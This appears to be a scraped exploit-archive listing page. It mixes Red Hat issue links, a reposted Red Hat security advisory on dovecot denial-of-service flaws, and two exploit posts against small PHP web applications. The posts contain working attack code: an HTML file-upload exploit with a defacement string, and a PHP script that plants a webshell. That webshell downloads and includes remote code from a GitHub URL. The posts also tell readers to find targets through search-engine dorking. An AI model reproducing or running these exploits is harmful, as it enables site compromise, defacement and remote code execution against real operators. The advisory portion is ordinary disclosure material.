https://issues.redhat.com/browse/ENTMQST-5366  
https://issues.redhat.com/browse/ENTMQST-5882  
https://issues.redhat.com/browse/ENTMQST-5885  
https://issues.redhat.com/browse/ENTMQST-5886  
https://issues.redhat.com/browse/ENTMQST-6235

Red Hat Security Advisory 2024-6536-03

Red Hat Security Advisory 2024-6529-03 - An update for dovecot is now available for Red Hat Enterprise Linux 9. Issues addressed include denial of service and resource exhaustion vulnerabilities.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_6529.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: dovecot security updateAdvisory ID:        RHSA-2024:6529-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:6529Issue date:         2024-09-10Revision:           03CVE Names:          CVE-2024-23184====================================================================Summary: An update for dovecot is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Dovecot is an IMAP server for Linux and other UNIX-like systems, written primarily with security in mind. It also contains a small POP3 server, and supports e-mail in either the maildir or mbox format. The SQL drivers and authentication plug-ins are provided as subpackages. Security Fix(es):* dovecot: using a large number of address headers may trigger a denial of service (CVE-2024-23184)* dovecot: very large headers can cause resource exhaustion when parsing message (CVE-2024-23185)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-23184References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2305909https://bugzilla.redhat.com/show_bug.cgi?id=2305910

Red Hat Security Advisory 2024-6529-03

Queuing Simple Chatbot version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Queuing Simple Chatbot 1.0 Remote File Upload Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/queuing.zip                                           |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This HTML page is designed to remotely upload PHP malicious files directly.    [+] Line 33 set url of target.[+] The path to upload the files : http://127.0.0.1/chatbot/uploads/[+] Save Code as html :<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Direct arbitrary File Upload</title></head><body>    <h2>Direct arbitrary File Upload</h2>    <form id="uploadForm">        <label for="fileInput">Select File:</label>        <input type="file" id="fileInput" name="fileInput" required><br><br>        <button type="button" onclick="uploadFile()">Upload File</button>    </form>    <script>        function uploadFile() {            const fileInput = document.getElementById('fileInput').files[0];            if (!fileInput) {                alert('Please select a file.');                return;            }            const formData = new FormData();            formData.append('name', '<marquee><font color=lime size=32>Hacked by indoushka</font></marquee>');            formData.append('img', fileInput);            console.log("(+) Uploading file...");            fetch('http://127.0.0.1/chatbot/classes/SystemSettings.php?f=update_settings', { // Replace with your upload URL                method: 'POST',                body: formData            })            .then(response => response.text())            .then(data => {                if (data === '1') {                    console.log("(+) File upload seems to have been successful!");                } else {                    console.log("(-) Oh no, the file upload seems to have failed!");                }            })            .catch(error => console.error("(-) Error during file upload:", error));        }    </script></body></html>Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Queuing Simple Chatbot 1.0 Shell Upload

Profiling System version 1.0 suffers from a remote shell upload vulnerability.

    =============================================================================================================================================| # Title     : Profiling System 1.0 code injection Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html                                    |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] This payload injects php code of your choice into an SHELL.php file. [+] Line 26    Line 35  [+] change the path of the script folder.[+] save payload as poc.php[+] usage from cmd : C:\www\test>php 1.php 127.0.0.1[+] payload : <?phpfunction file_upload($target_ip) {    $file_name = "indoushka.php";    $webshell_payload = "<?php        \$url = 'https://raw.githubusercontent.com/indoushka/txt/main/indoushka.txt';        \$ch = curl_init();        curl_setopt(\$ch, CURLOPT_URL, \$url);        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER, true);        \$output = curl_exec(\$ch);        curl_close(\$ch);        if (\$output) {            include 'data://text/plain;base64,' . base64_encode(\$output);        }    ?>";    $post_fields = array(        'upload' => '',        'per_file' => new CURLFile('data://text/plain;base64,' . base64_encode($webshell_payload), 'application/x-php', $file_name),        'per_name' => 'inouva',        'file_name' => '123',        'qty' => '1'    );    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, "http://$target_ip/ProfilingSystem/add_file_query.php");    curl_setopt($ch, CURLOPT_POST, 1);    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    $response = curl_exec($ch);    curl_close($ch);    echo "(+) Shell uploaded successfully.\n";    echo "(+) Access the shell at: http://$target_ip/ProfilingSystem/uploads/$file_name\n";}if ($argc != 2) {    echo "(+) Usage: php " . $argv[0] . " <target ip>\n";    echo "(+) Example: php " . $argv[0] . " 10.0.0.1\n";    exit(-1);}$target_ip = $argv[1];file_upload($target_ip);Greetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Tag

#auth